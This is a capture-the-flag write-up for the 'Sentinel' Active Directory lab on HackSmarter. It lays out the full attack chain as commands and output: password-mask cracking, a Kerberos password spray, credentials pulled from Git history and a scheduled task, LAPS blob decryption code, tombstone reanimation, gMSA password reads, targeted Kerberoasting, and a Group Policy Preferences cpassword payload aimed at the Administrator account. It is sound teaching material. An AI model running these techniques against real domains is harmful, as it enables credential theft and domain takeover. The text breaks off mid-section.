Skip to content
Sscriptkittens
Author writeoffhard

Sentinel

Descending through Trask Industries one terrible decision at a time.

Machine
Sentinel
Platform
HackSmarter
OS
windows
Published
Sep 28, 2026
  • active-directory
  • kerberos
  • windows-laps
  • gmsa
  • legacy
On this page

Approach and Framing

On Hack Smarter, Sentinel is presented as a simulated red team engagement, and it plays perfectly well that way. The vulnerabilities, trust relationships, and escalation paths all work exactly as designed. This writeup uses another frame, the one I had in mind while building it.

Sentinel was inspired by X-Men: Days of Future Past. In that framing we take the role of Kate “Kitty” Pryde, returned to the past to prevent the future the Sentinels create.

Except we’re not breaking into Trask Industries.

We work there.

Kitty is a new hire in R&D during the development of the Sentinel program. Our initial access isn’t a foothold an attacker earned, it’s the access a new employee is legitimately handed. From there we move through the company on the kinds of weaknesses that show up in real ones: overshared information, credentials committed to Git by accident, legacy password reuse, over-delegation, access controls nobody fully understood, permissions inherited from templates that have been evolving for years.

That changes the question you ask at each step. Not only:

How do I escalate from this account?

but:

What can someone in Kitty’s position see from here? What part of Trask Industries has she reached, and what does it tell her about the Sentinel program?

You can ignore the X-Men narrative entirely and play Sentinel as plain Active Directory. Nothing in the path requires the source material, and there’s no trivia. The story doesn’t sit on top of the technical content or bend it in fake ways. Every weakness here is one you’d actually see on an engagement, it just looks a little different on the outside, and learning to recognize it in that costume is the same skill as recognizing it in a client’s environment.

What the character adds is a layer underneath. Every identity she takes moves her deeper into the company building the future she came back to stop. The names, documents, legacy systems, and seemingly incidental corporate history start connecting as she gets closer to the people actually building it.

That’s the frame for this writeoff. Not because it’s required to solve the machine, because it’s how Sentinel was meant to be played.


Arrival

Initial Credentials

A welcome letter for a new employee at Trask Industries for Kate “Kitty” Pryde that comes with temp credentials (WelcomeLetter.pdf):

Username: k.pryde@trask.hsm
Password: KP_TempPass_1988!
File it away1988, and the word 'legacy'

The temp password is dated to 1988, and the letter references legacy onboarding procedures before I’ve logged in anywhere. Remember that word, it’s going to show up a lot on this box.

Enumeration

One IP, one name:

  • DC01 — 10.0.0.5

Nmap

rustscan --ulimit 5000 -a 10.0.0.5 -- -sCV
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Caddy httpd
|_http-server-header: Caddy
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows AD LDAP (Domain: trask.hsm)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: trask.hsm)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
45985/tcp open  http          Microsoft HTTPAPI httpd 2.0

The welcome credentials: NTLM is disabled, and Kerberos refuses them.

nxc smb dc01.trask.hsm -u k.pryde -p 'KP_TempPass_1988!'
SMB  10.0.0.5  445  DC01  [*] (NTLM:False) (DC:True)
SMB  10.0.0.5  445  DC01  [-] trask.hsm\k.pryde:KP_TempPass_1988! STATUS_NOT_SUPPORTED
nxc smb dc01.trask.hsm -d trask.hsm -u k.pryde -p 'KP_TempPass_1988!' -k
SMB  dc01.trask.hsm  445  dc01  [-] trask.hsm\k.pryde:KP_TempPass_1988! KDC_ERR_PREAUTH_FAILED
Resultnegative

KDC_ERR_PREAUTH_FAILED means the account exists but the password is wrong. Null authentication is off and TRASK\Guest is disabled.

This was given as a welcome credential linked to onboarding, but it’s not helping us here. The DC is a dead end for now, and the key fits a different lock.

Web

http://10.0.0.5 -> http://www.trask.hsm shows a single static page.

trask homepage

The contact form does POST but no additional information is gained.

Real handler, but it’s not vulnerable.

Directory enumeration is met by a wall of 429s:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://trask.hsm/ --exclude-length 36 -t 2
.htaccess  (Status: 429) [Size: 0]
.htpasswd  (Status: 429) [Size: 0]
.mysql_history (Status: 429) [Size: 0]

Subdomains

A reasonable ffuf over the bitquark top-100k list returns a lot of nothing:

ffuf -u http://10.0.0.5 -H "Host: FUZZ.trask.hsm" -w .../bitquark-subdomains-top100000.txt
blog    [Status: 200, Size: 0, Words: 1, Lines: 1]
ns1     [Status: 200, Size: 0, Words: 1, Lines: 1]
webmail [Status: 200, Size: 0, Words: 1, Lines: 1]
secure  [Status: 200, Size: 0, Words: 1, Lines: 1]
remote  [Status: 200, Size: 0, Words: 1, Lines: 1]
server  [Status: 200, Size: 0, Words: 1, Lines: 1]

Every one is 200, Size: 0 meaning the Caddy catch-all answering any Host: header. Filtering those out:

ffuf ... -fs 0
www [Status: 200, Size: 20588, Words: 6945, Lines: 367]

That’s just the same trask.hsm site. Keep going.

If I match on redirect codes instead of content, I get something more useful:

ffuf ... -mc 301,302,307
onboarding [Status: 302, Size: 0, Words: 1, Lines: 1]

onboarding.trask.hsm

The 302 lands on a sign-in page.

onboarding homepage

Directory scanning meets the same 429 wall.

The rate limiter works as intended. There are no intentional vulnerabilities in the site, the sign-in box is the feature, and the welcome credentials are the key.


Employee Onboarding

The temporary credentials provided in the welcome letter allow us to log into the employee onboarding portal.

onboarding page after login

Clicking on the Read Welcome Message button brings us into the portal where we get a letter from the CEO, Bertrand Trask.

ceo welcome letter

The sidebar menu has four sections that might be useful:

onboarding menu

The New Hire Orientation Schedule contains a list of Trainer names which we can save for later testing.

new hire orientation schedule

The Password and Access Policy has two sections, an in-progress migration to new multi-factor authentication and a Legacy & Special System Access section.

password and access policy

The E-mail Signature page shows us the domain structure for e-mail accounts which likely matches the username setup as well.

email signature page

At the very bottom of the menu, there is an option for Export All Files

export all onboarding documents

We can download the file and when we try to unzip it, we see that it’s password protected:

unzip onboarding-documents.zip -d onboarding/
Archive:  onboarding-documents.zip
[onboarding-documents.zip] index.mdx password:

Let’s go back to the Legacy & Special Systems Access section of the Password Policy

File it awayLegacy Password Construction

A very specific format for legacy passwords:

  • exactly 16 characters
  • starts with an uppercase letter (A-Z)
  • any mix of letters and numbers
  • contains the employee’s full hire year
  • ends with a special character from (!, @, #, $)

Masked example: ProtoTr****1973!

Mask -1='?u?l?d' = uppercase, lowercase, or digit:

hashcat -O -m 17225 -w 4 onboarding-documents.hash -a 3 -1='?u?l?d' 'ProtoTr?1?1?1?11973!' --username
# (or: john -1='?u?l?d' --mask='ProtoTr?1?1?1?11973!' onboarding-documents.hash)
Resultpositive

ProtoTr[SORRY STILL HIDDEN]1973! look at that it matches the legacy construction exactly! (For hashcat, strip the onboarding-documents.zip: prefix from the zip2john output, or add --username.)

The zip holds a copy of the same documents, nothing more. But the download page said one specific line:

What are we going to do with it though? On the Export All Files page, there’s a notation at the bottom:

Please ask your Trainer for the password to extract the contents.

Making a list of the trainers to match the expected first_initial.last_name format:

cat << 'EOF' > trainers.txt
j.berwick
b.trask
d.dunsire
k.curgenven
l.mitchell
k.ryan
e.parsons
EOF

kerbrute passwordspray --dc dc01.trask.hsm -d trask.hsm trainers.txt 'ProtoTr****1973!'
2025/12/02 15:02:24 >  [+] VALID LOGIN: k.ryan@trask.hsm:ProtoTr****1973!
Resultpositive

This password is valid for the k.ryan account.

k.ryan who happens to be the IT Trainer for the Password Policy & Security portion of the orientation used her own password.

And these credentials work with Kerberos. We’ve crossed from the onboarding application into the Trask domain.

nxc smb dc01.trask.hsm -d trask.hsm -u k.ryan -p 'ProtoTr****1973!' -k
SMB  dc01.trask.hsm  445  dc01  [+] trask.hsm\k.ryan:ProtoTr****1973!
# full krb5.conf for the realm
cat << 'EOF' > ./krb5.conf
[libdefaults]
  default_realm = TRASK.hsm
  dns_lookup_realm = true
  dns_lookup_kdc = true
[realms]
TRASK.hsm = {
        kdc = dc01.trask.hsm
        admin_server = dc01.trask.hsm
        default_domain = trask.hsm
}
[domain_realm]
        .trask.hsm = TRASK.hsm
        trask.hsm = TRASK.hsm
        dc01.trask.hsm = TRASK.hsm
        .dc01.trask.hsm = TRASK.hsm
EOF
New identity
Domain access as TRASK\k.ryan

Mapping the Domain

With domain credentials in hand, the next move is BloodHound.

bloodhound-ce-python -c All -d trask.hsm -u k.ryan -k -no-pass -dc dc01.trask.hsm --zip -ns 10.0.0.5
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
CRITICAL: Kerberos auth to LDAP failed, no authentication methods left
bloodhound.ad.utils.CollectionException: Could not authenticate to LDAP.

And… no.

kermit wait what
rusthound-ce --kerberos -f $DC -d $DOMAIN -o . -z.
67 users parsed!  72 groups parsed!  1 computers parsed!  4 ous parsed!
./20260925211730_trask-hsm_rusthound-ce.zip created!

Shared Folder

nxc smb dc01.trask.hsm -d trask.hsm -u k.ryan -p 'ProtoTr****1973!' -k --shares
SMB  dc01.trask.hsm  445  dc01  New_Employee_Onboarding  READ

k.ryan can read New_Employee_Onboarding. Pulling it down:

nxc smb dc01.trask.hsm -d trask.hsm -u k.ryan -p 'ProtoTr****1973!' -k \
  -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./shares MAX_FILE_SIZE=50000000
ls -lah shares/dc01.trask.hsm/New_Employee_Onboarding
drwxr-xr-x 7 .git
-rw-r--r-- 1  .gitignore
-rw-r--r-- 1  index.mdx
drwxr-xr-x 2  it-services-and-support
drwxr-xr-x 2  orientation-and-training
drwxr-xr-x 2  policies-and-forms
-rw-r--r-- 1  README.md
git grep -B 3 -iw "password" $(git rev-list --all)
eb85470c...:Trainer_Guide.md-
eb85470c...:Trainer_Guide.md-**Temporary Login (change after each session):**
eb85470c...:Trainer_Guide.md-Username: e.parsons
eb85470c...:Trainer_Guide.md:Password: W[REDACTED]

e.parsons is on the trainer list, so they’re probably still here. Testing it:

nxc smb dc01.trask.hsm -d trask.hsm -u e.parsons -p 'W[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [+] trask.hsm\e.parsons:W[REDACTED]
Resultpositive

The e.parsons password from Git history still works.

New identity
Domain access as TRASK\e.parsons

But we don’t get too far: no new shares, no website login, and BloodHound’s graph shows e.parsons is in R&D_Auditors with no outbound object control and no useful writes in bloodyAD either.

Pivotwhat can I do with e.parsonswhat can e.parsons see

Now, the question stops being “what can I do” and starts being “what’s different about what I can see.” Let me refresh the directory data from this new ticket and compare.

R&D

Comparing the rusthound-ce output for k.ryan against e.parsons:

k.ryan e.parsons
Users 67 67
Groups 72 73
Computers 1 2
OUs 4 5
e.parsons has ReadLAPSPassword permission
Discovery
We've crossed into R&D

e.parsons is a member of R&D_Auditors, and the extra objects are the gap between being able to see R&D resources and not.

With the data loaded, the graph finally shows something: e.parsons has ReadLAPSPassword on sentinel-proto.

SENTINEL-PROTO

Two roads lead to LAPS, and I took both.

Road one (the graph): e.parsons has ReadLAPSPassword on sentinel-proto and is in R&D_Auditors.

Road two (SYSVOL): among the GPOs I already pulled down with k.ryan, the folder {CEDD1760-5DAA-4089-83E3-50EAB2563D2A} is the Legacy Access Protection System Policy, linked to the Servers OU and SENTINEL-PROTO.

cat comment.cmtx
<?xml version='1.0' encoding='utf-8'?>
[SNIPPED]
    <using prefix="ns0" namespace="Microsoft.Policies.LAPS"></using>
cat Registry.pol
[LAPS;AdministratorAccountName;;;lab-admin]
[LAPS;ADPasswordEncryptionPrincipal;;&;TRASK\R&D_Auditors]
[LAPS;ADPasswordEncryptionEnabled;;;]
[LAPS;ADEncryptedPasswordHistorySize;;;]

So the managed local admin is lab-admin, the group allowed to read its password is R&D_Auditors which e.parsons happens to be in R&D_Auditors. Retrieving it:

bloodyAD --host dc01.trask.hsm -d trask.hsm -k -u e.parsons msldap laps
SENTINEL-PROTO : 6caadc01d282ea07cf04000000000000308204450609...[SNIPPED]
Deep diveWindows LAPS v2 internalsoptional

Legacy Microsoft LAPS needed a separate MSI per client, supported AD only, stored passwords in clear text, and kept no history. Windows LAPS is built into modern Windows 10/11 and Server, supports cloud and hybrid, encrypts at rest, and keeps history.

Decrypting a Windows LAPS v2 blob uses Windows Crypto-NG and more specifically NCryptUnprotectSecret which we can replicate off-box with dpapi-ng, using RPC to sweet-talk the DC over Kerberos for the key material. (The post-authentication reset action being set to disabled was a valid config option on Windows Server 2022. Server 2025 introduced some changes that would have made it incompatible with this machine.)

bloodyAD ... msldap laps   # save the blob to a file
import dpapi_ng, binascii
blob = binascii.unhexlify("[BLOB GOES HERE]")
# stripping the first 16 bytes is important, it's a useless LDAP header
decrypted = dpapi_ng.ncrypt_unprotect_secret(blob[16:], server="dc01.trask.hsm")
print(decrypted.decode("utf-16-le").strip("\x00"))
{"n":"lab-admin","t":"1dcaa6bfb797606","p":"[REDACTED]"}

That’s lab-admin and a password. Let’s use it.

evil-winrm -i sentinel-proto.trask.hsm -u lab-admin -p '[REDACTED]' -P 45985

Nope.

Resultnegative

WinRMAuthorizationError…wrong password. The value I just decrypted out of AD is not the password the machine is running.

I trust the decryption more than I trust my assumption that “current LAPS value in AD” means “password the endpoint is actually using.” So before calling this a bad credential, I want to know why the directory and the endpoint disagree.

Pivotthe current LAPS passwordLAPS policy application

Instead of attacking the credential, I’m going to investigate why AD thinks lab-admin has one password and the machine clearly has another. That usually means the machine stopped receiving the policy that sets it.

Further digging shows SENTINEL-PROTO sits in a group called Legacy_Hardware_Profile:

bloodyAD ... -k get membership SENTINEL-PROTO$
distinguishedName: CN=Legacy_Hardware_Profile,OU=Servers,DC=trask,DC=hsm

And the GPO’s own ntSecurityDescriptor carries an access-denied ACE for that group on the Apply Group Policy extended right:

bloodyAD ... get object 'CN={CEDD1760-...},CN=POLICIES,...' --attr ntSecurityDescriptor
# THE LINE THAT MATTERS
(OD;;CR;edacfd8f-ffb3-11d1-b41d-00a0c968f939;;S-1-5-21-...-1174)

Reading it:

  • edacfd8f-ffb3-11d1-b41d-00a0c968f939 = Apply Group Policy
  • CR = Control Rights
  • OD = Object DENY — Legacy_Hardware_Profile (SID -1174) is explicitly denied from applying the Legacy Access Protection System Policy.

So when SENTINEL-PROTO was added to Legacy_Hardware_Profile, the LAPS policy was filtered out. AD kept updating the LAPS attribute; the machine stopped applying it. That’s the disagreement.

Discovery
The directory has history we can use

The current LAPS value is useless because the endpoint stopped receiving the policy.

But Windows LAPS keeps an encrypted password history. I don’t need the password AD thinks should be current. I need the last password that actually reached the machine.

Registry.pol mentioned ADEncryptedPasswordHistorySize, and the earlier msldap laps output carried extra entries. Walking the whole history:

blobs = [ b'k\xaa\xdc\x01\x06vy\xfb\xcf...', ... ]
for blob in blobs:
    decrypted = dpapi_ng.ncrypt_unprotect_secret(blob[16:], server="dc01.trask.hsm")
    print(decrypted.decode("utf-16-le").strip("\x00"))
{"n":"lab-admin","t":"1dcaa6bfb797606","p":"[REDACTED]"}
{"n":"lab-admin","t":"1dcaa6bee7b984a","p":"[REDACTED]"}
{"n":"lab-admin","t":"1dcaa6bda6f0bd2","p":"[REDACTED]"}
{"n":"lab-admin","t":"1dcaa6bc6c10f53","p":"[REDACTED]"}
{"n":"lab-admin","t":"1dcaa6b7f7f0817","p":"[REDACTED]"}

LAPSDog can automate this process.

lapsdog --dc dc01.trask.hsm -b "DC=trask,DC=hsm" --pretty --include-history -u e.parsons -p [REDACTED] -k
============================================================
Computer: CN=SENTINEL-PROTO,OU=Servers,DC=trask,DC=hsm
Attribute: msLAPS-EncryptedPassword[0]
Username: lab-admin
Password: [REDACTED]
Set Time: 2026-03-02T17:43:08.027157+00:00
============================================================

============================================================
Computer: CN=SENTINEL-PROTO,OU=Servers,DC=trask,DC=hsm
Attribute: msLAPS-EncryptedPasswordHistory[0]
Username: lab-admin
Password: [REDACTED]
Set Time: 2026-03-02T17:42:47.153614+00:00
============================================================

Five values, newest first and that is [REDACTED].

evil-winrm -i sentinel-proto.trask.hsm -u lab-admin -p '[REDACTED]' -P 45985
*Evil-WinRM* PS C:\Users\lab-admin\Documents> type ..\Desktop\user.txt
Foothold
SENTINEL-PROTO as lab-admin with user flag
Deep diveMore on LAPS because why notoptional

Two non-obvious Windows LAPS behaviors:

  • You can retrieve a blob with one user and decrypt it with another. The authorization check happens at decrypt time, not retrieval time.
  • You can grab a blob, add a new member to the decrypt-allowed group, and the new member can still decrypt the old blob. The group SID is embedded in the blob:
echo 'bKrcA[SNIPPED]F1sUo=' | base64 -d | strings
S-1-5-21-...-1111   # resolves to R&D_Auditors

At request time the check becomes “is the requester a current, valid member of the designated group?”


DCSecure

On SENTINEL-PROTO as lab-admin, file-system enumeration turns up C:\Program Files (x86)\DCSecure with DCSecure.exe and Logs\DCSecure.log.

PS C:\Program Files\DCSecure> .\DCSecure.exe
A valid username must be provided with -u <username>
A valid password must be provided with -p <password>
PS C:\Program Files\DCSecure> .\DCSecure.exe -u lab-admin -p '[REDACTED]'
===== DCSecure Health Agent Check Started (v1.2 Legacy) =====
Valid credentials were provided: lab-admin:[PASSWORD REDACTED]
Checking core service connection...
Checking core service account status...
===== DCSecure Health Agent Check Finished =====

The log is more talkative than the command output:

type "C:\Program Files (x86)\DCSecure\Logs\DCSecure.log"
16:38:02 - Valid credentials were provided: TRASK\svc_dcsecure_agent:[PASSWORD REDACTED]
17:08:02 - Valid credentials were provided: TRASK\svc_dcsecure_agent:[PASSWORD REDACTED]
18:08:02 - ===== DCSecure Health Agent Check Started (v1.2 Legacy) =====
18:08:23 - Could not connect to Core DCSecure service (dcSecureSvc). Compliance scanning may be degraded.
18:08:25 - Could not connect to Active Directory to check Core Service account (svc_dcsecure_core).
18:08:25 - ===== DCSecure Health Agent Check Finished =====

The scheduled task confirms it:

schtasks /query /fo LIST /v /tn "DCSecure-Compliance-Check"
Task To Run: C:\Program Files\DCSecure\DCSecure.exe -u TRASK\svc_dcsecure_agent -p '[REDACTED]'

The password for svc_dcsecure_agent is sitting in the task definition. It’s valid:

nxc smb dc01.trask.hsm -d trask.hsm -u svc_dcsecure_agent -p '[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [+] trask.hsm\svc_dcsecure_agent:[REDACTED]
New identity
Domain access as TRASK\svc_dcsecure_agent

svc_dcsecure_agent is a member of DCSecure Maintenance. Now the interesting enumeration:

bloodyAD ... -k -u svc_dcsecure_agent get writable --detail
distinguishedName: OU=Legacy Service Compatible Access,DC=trask,DC=hsm
account: CREATE_CHILD
user: CREATE_CHILD

distinguishedName: CN=svc_dcsecure_core\0ADEL:a2b4e839-...,CN=Deleted Objects,DC=trask,DC=hsm
name: WRITE
wWWHomePage: WRITE
givenName: WRITE
title: WRITE
cn: WRITE
Discovery
I can wake the dead

svc_dcsecure_core is the account the agent kept failing to reach…because it was deleted. It’s a tombstone in CN=Deleted Objects, and I have WRITE on its cn and name, plus CREATE_CHILD in OU=Legacy Service Compatible Access.

If I can bring it back, maybe the log’s “could not connect” stops being an obstacle.

To confirm I’m allowed to reanimate it, I get the SID for DCSecure Maintenance so that we can enumerate the domain root’s ACL:

bloodyAD --host dc01.trask.hsm -d trask.hsm -u svc_dcsecure_agent -k get object 'DCSecure Maintenance' --attr objectSid
objectSid: S-1-5-21-939749445-4094954830-180080773-1186

bloodyAD ... -u svc_dcsecure_agent -k get object 'DC=trask,DC=hsm' --attr ntSecurityDescriptor \
  | grep -oP '\([^)]*S-1-5-21-...-1186[^)]*\)'
(OA;;CR;45ec5156-db7e-47bb-b53f-dbeb2d03c40f;;S-1-5-21-...-1186)

That’s Object Allow + Control Rights for extended right 45ec5156-db7e-47bb-b53f-dbeb2d03c40f (Reanimate Tombstones) and it’s granted to DCSecure Maintenance (more details in OpenSpec MS-ADTS).

So I have the three ingredients:

  1. CREATE_CHILD of the right type
  2. Reanimate Tombstones
  3. WRITE on the correct attributes.

Restoring:

bloodyAD ... -u svc_dcsecure_agent -k set restore 'svc_dcsecure_core' \
  --newParent "OU=Legacy Service Compatible Access,DC=trask,DC=hsm"
[+] svc_dcsecure_core has been restored successfully under OU=Legacy Service Compatible Access

If you try to do restore without the --newParent, it will fail because svc_dcsecure_agent doesn’t have CreateChild on the previous location for svc_dcsecure_core

And the two legacy services share a password:

nxc smb dc01.trask.hsm -d trask.hsm -u svc_dcsecure_core -p '[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [+] trask.hsm\svc_dcsecure_core:[REDACTED]
New identity
Domain access as TRASK\svc_dcsecure_core

Refresh BloodHound again, svc_dcsecure_core is in Remote Management Users with no outbound control of note, but that group should get me onto DC01.

evil-winrm -i dc01.trask.hsm -r TRASK.hsm
PS C:\Users\svc_dcsecure_core\Documents>
Lateral movement
Domain controller DC01 as svc_dcsecure_core

Sentinel Identity Migration

On DC01 as svc_dcsecure_core, there is also a folder for DCSecure at C:\Program Files (x86)\DCSecure. Here it holds an uninstall.log describing its removal and a transition to SentinelSecurity:

type "C:\Program Files (x86)\DCSecure\uninstall.log"
2024-10-27 14:00:00 - [INFO] - ===== DCSecure v1.1 Uninstaller Initialized =====
2024-10-27 14:00:00 - [INFO] - Starting Sentinel Identity Migration
2024-10-27 14:00:03 - [INFO] - Stopping TCP Listener (Port 3890)... SUCCESS.
2024-10-27 14:00:06 - [INFO] - Validating downstream compatibility...
2024-10-27 14:00:06 - [CRIT] - Mark I units are incompatible with SentinelSecurity encryption.
2024-10-27 14:00:07 - [INFO] - Implementing Security Directive 58-2307 for these units.
2024-10-27 14:00:09 - [INFO] - Handoff Complete.
File it awaySecurity Directive 58-2307

DCSecure wasn’t just uninstalled: it was replaced as part of a Sentinel Identity Migration, and the Mark I units turned out to be incompatible with SentinelSecurity’s encryption, so Trask handled them under Security Directive 58-2307.

“Mark I” means early | prototype | founding examples so it’s likely there are older accounts the new system can’t talk to. And 58-2307 is an awfully specific number for an uninstall log to preserve.

I don’t know what it means yet.

That’s the third time the word has mattered: the 1988 temp password, the PKZIP2 archive with the legacy password policy, and now a legacy hardware profile and a legacy service compatible access OU. This whole machine is a migration that never finished and the seams are where the access is.

A like-named service is running, though I can’t see its path with these permissions:

Get-Process | findstr "Sentinel*"
251   24   6340   24856   1364   0 SentinelSecurity.Service

File-system enumeration does find C:\Program Files\SentinelSecurity.Client\SentinelSecurity.Client.exe.

Discovery
whoops that was unintended

Shout-out to Hilux for finding and exploiting a vulnerability in the application. They went straight to domain admin, which was definitely not intended. This is now patched in the live machine.

You can read about it here.

I will be making the original vulnerable code available soon along with a code analysis.

When we execute it, we see the new system for the automated account provisioning the onboarding docs described:

.\SentinelSecurity.Client.exe
*****************************************************************
     _______
   _/       \_     ____  _____ _   _ _____ ___ _   _ _____ _
  / |       | \   / ___|| ____| \ | |_   _|_ _| \ | | ____| |
 /  |__   __|  \  \___ \|  _| |  \| | | |  | ||  \| |  _| | |
|__/((o| |o))\__|  ___) | |___| |\  | | |  | || |\  | |___| |___
|      | |      | |____/|_____|_|_\_| |_| |___|_|_\_|_____|_____|
|\     |_|     /| / ___|| ____/ ___| | | |  _ \|_ _|_   _\ \ / /
| \           / | \___ \|  _|| |   | | | | |_) || |  | |  \ V /
 \| /  ___  \ |/   ___) | |__| |___| |_| |  _ < | |  | |   | |
  \ | / _ \ | /   |____/|_____\____|\___/|_| \_\___| |_|   |_|
   \_________/
*****************************************************************
************Secure temporary accounts for your team.*************
Commands:
  create  Add a new Sentinel to the system.
.\SentinelSecurity.Client.exe create
Secure channel opened!
A new Sentinel account has been created:
Username:  sentinel-IZBSWQ
Password:  [VARIES]
NOTE: At this time, we are only able to display password hashes.

The last portion of the sentinel username will vary.

impacket-getTGT -dc-ip 10.0.0.5 "TRASK.hsm/sentinel-IZBSWQ" -hashes :[VARIES]
[*] Saving ticket in sentinel-IZBSWQ.ccache
New identity
Domain access as TRASK\sentinel-IZBSWQ

The Sentinel Account

Now as the freshly minted sentinel-IZBSWQ, enumeration gives us some more interesting things.

bloodyAD ... -u "$SENTINEL" -k get writable --detail
distinguishedName: CN=Sentinel Service Account Readers,OU=Sentinels,DC=trask,DC=hsm
secretary: WRITE
managedBy: WRITE
description: WRITE
OWNER: WRITE  <-- ALL UPPERCASE

The BloodHound graph shows this as WriteOwner.

sentinel account can WriteOwner

sentinel-IZBSWQ$ is a Group Managed Service Account, in Sentinel Service Accounts, which grants it WriteOwner on Sentinel Service Account Readers.

I need to take ownership of the group with my Sentinel.

bloodyAD ... -k -u sentinel-IZBSWQ \
  set owner "CN=Sentinel Service Account Readers,OU=Sentinels,DC=trask,DC=hsm" \
          "CN=$SENTINEL,OU=Sentinels,DC=trask,DC=hsm"
[+] Old owner ... is now replaced by CN=sentinel-IZBSWQ

# Refresh the ticket!
impacket-getTGT -dc-ip 10.0.0.5 "TRASK.hsm/sentinel-IZBSWQ" -hashes :[VARIES]

Ownership adds a DACL: WRITE line that wasn’t there. As owner I can edit the ACL and grant myself GenericAll, then add myself as a member:

bloodyAD ... -k -u sentinel-IZBSWQ \
  add genericAll "CN=Sentinel Service Account Readers,OU=Sentinels,DC=trask,DC=hsm" "sentinel-IZBSWQ\$"
[+] sentinel-IZBSWQ$ has now GenericAll on CN=Sentinel Service Account Readers

impacket-getTGT -dc-ip 10.0.0.5 "TRASK.hsm/sentinel-IZBSWQ" -hashes :[VARIES]

bloodyAD ... -k -u sentinel-IZBSWQ \
  add groupMember "CN=Sentinel Service Account Readers,OU=Sentinels,DC=trask,DC=hsm" "sentinel-IZBSWQ\$"
[+] sentinel-IZBSWQ$ added to CN=Sentinel Service Account Readers

impacket-getTGT -dc-ip 10.0.0.5 "TRASK.hsm/sentinel-IZBSWQ" -hashes :[VARIES]

Being in Sentinel Service Account Readers grants ReadGMSAPassword on svc_mmold$:

bloodyAD ... -k -u "sentinel-IZBSWQ" msldap gmsa
Username: svc_mmold$
Allowed machine: trask\Sentinel Service Account Readers
Password -NT-: [VARIES]

svc_mmold shows no additional paths in the graph. Getting a ticket to enumerate as it:

impacket-getTGT -dc-ip 10.0.0.5 "TRASK.hsm/svc_mmold" -hashes :[REDACTED]
[*] Saving ticket in svc_mmold.ccache
New identity
Domain access as TRASK\svc_mmold

bloodyAD checking writable objects is more useful than the graph here:

bloodyAD ... -k -u "svc_mmold" get writable --detail
distinguishedName: CN=Matt Mold,OU=Staff,DC=trask,DC=hsm
servicePrincipalName: WRITE

I can write a servicePrincipalName to Matt Mold and run a targeted Kerberoast:

bloodyAD ... -k -u "svc_mmold" msldap addspn "CN=Matt Mold,OU=Staff,DC=trask,DC=hsm" "sentinel/mmold"
SPN added!

impacket-GetUserSPNs -dc-host dc01.trask.hsm -dc-ip 10.0.0.5 -request -k -no-pass 'TRASK.hsm/svc_mmold'
$krb5tgs$18$m.mold$TRASK.HSM$*TRASK.HSM/m.mold$*...

This is an AES hash, thankfully a wordlist was supplied for this machine.

hashcat -O -w 4 m.mold.hash wordlist.txt
$krb5tgs$18$m.mold$TRASK.HSM$18c074a86aedb274ede7c04b$2:[REDACTED]

Session..........: hashcat
Status...........: Cracked
nxc smb dc01.trask.hsm -d trask.hsm -u m.mold -p '[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [+] trask.hsm\m.mold:[REDACTED]
New identity
Domain access as TRASK\m.mold

Matt Mold

The credentials work. And BloodHound gives me…

Nothing.

Going back to the DCSecure uninstall.log on DC01, Trask implemented Security Directive 58-2307 for its incompatible Mark I units. At the time I had no idea what that meant and parked it.

Now I’m out of obvious paths, and 2307 is very familiar.

A little google-fu and we come across this:

RFC 2307 describes a protocol for integrating Unix information into LDAP. Other information may be gathered from:

Three fields are identified as possible candidates for storing this information:

  • userPassword
  • unixUserPassword
  • msSFU30Password

and here we go again with more legacy concepts.

bloodyAD ... get search --filter '(objectClass=user)' --attr unixUserPassword,userPassword,msSFU30Password
distinguishedName: CN=Bertrand Trask,OU=Staff,DC=trask,DC=hsm
unixUserPassword: [REDACTED]

b.trask is on the original trainer list and, being CEO with his picture blasted across the homepage, is certainly still around. Trying the password as-is:

nxc smb dc01.trask.hsm -d trask.hsm -u b.trask -p '[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [-] trask.hsm\b.trask:[REDACTED] KDC_ERR_PREAUTH_FAILED

Wrong. But I wasn’t surprised because I hadn’t used the other half of the directive.

echo '[REDACTED]' | base58 -d
[REDACTED]
nxc smb dc01.trask.hsm -d trask.hsm -u b.trask -p '[REDACTED]' -k
SMB  dc01.trask.hsm  445  dc01  [+]trask.hsm\b.trask:[REDACTED]
Discovery
58 was Base58

Both halves of Security Directive 58-2307 were instructions: where the Mark I unit stored its password (RFC 2307 Unix attributes), and how to read it (Base58). b.trask’s password was Base58-encoded in unixUserPassword, and decoding it gives the live credential.

b.trask is a member of Legacy Access Continuity -> Remote Management Users, so I can log into DC01.

b.trask can remotely login
Lateral movement
Domain controller DC01 as b.trask

Privilege Escalation

On DC01 as b.trask, enumeration reveals nothing new compared to svc_dcsecure_core.

SentinelSecurity.Client.exe under this user reveals a command I didn’t have before and a greeting:

.\SentinelSecurity.Client.exe
[snippity]
*************************Hello Dr. Trask*************************
Commands:
  create  Add a new Sentinel to the system.
  deploy  Provide new configuration to available Sentinel Groups.

So: Sentinel Action Policy is a GPO linked to the Domain Controllers; I supply a configuration file applied to the Sentinel Groups. There are plenty of legacy components on this network, so I’ll supply a legacy-style Groups.xml (the Group Policy Preferences schema, OpenSpec MS-GPPREF) with my first attempt targeting the Administrator account:

<Groups clsid="{3125E937-EB89-430C-840E-C3223A88459D}">
    <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Trask\Administrator" image="2"
          changed="2025-11-18 20:46:06" uid="{EF57DA28-...}">
        <Properties action="U" cpassword="BX4ozFyhvb3P50To7jbIGLXUKoXbW8esb81TvXPS9zY"
                    neverExpires="1" userName="TRASK\Administrator"/>
    </User>
</Groups>
.\SentinelSecurity.Client.exe deploy -c .\escalate1.xml
Online option is disabled, the Sentinel Action Policy will not be deployed.
No valid configurations were found in the file.
Rabbit holeThe first config was rejected~15m

Two things went wrong, and I had to untangle which was which:

